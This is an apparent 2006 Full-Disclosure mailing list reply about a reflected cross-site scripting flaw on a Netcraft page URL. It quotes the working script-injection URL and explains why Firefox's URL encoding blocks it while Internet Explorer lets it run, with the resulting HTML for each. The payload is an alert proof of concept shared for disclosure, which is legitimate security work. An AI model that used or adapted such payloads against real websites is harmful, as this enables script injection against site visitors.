On Wed, 2 Aug 2006 23:23:10 +0300 Valery Marchuk wrote: > No they have not. XSS still exists. > http://uptime.netcraft.com//netmove/today?mode=new%5Fsite&zero=0"><script>alert('www.securitylab.ru')</script> > Just turn on JavaScript in your browser or turn off your firewall:)
You're right, I was too lazy to look at the resulting HTML. Firefox recodes the URL to | http://uptime.netcraft.com//netmove/today?mode=new%5Fsite&zero=0%22%3E%3Cscript%3Ealert('www.securitylab.ru')%3C/script%3E before sending the request. The reference in question looks like this as a result: | <a href="http://www.netcraft.com/oldwhats?mode=new%5Fsite&zero=0%22%3E%3Cscript%3Ealert('www.securitylab.ru')%3C/script%3E"> and fails to get interpreted by the browser. However, IE does not recode the URL sending the request "as is" giving the desired XSS: | <a href="http://www.netcraft.com/oldwhats?mode=new%5Fsite&zero=0"><script>alert('www.securitylab.ru')</script>"> Denis _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/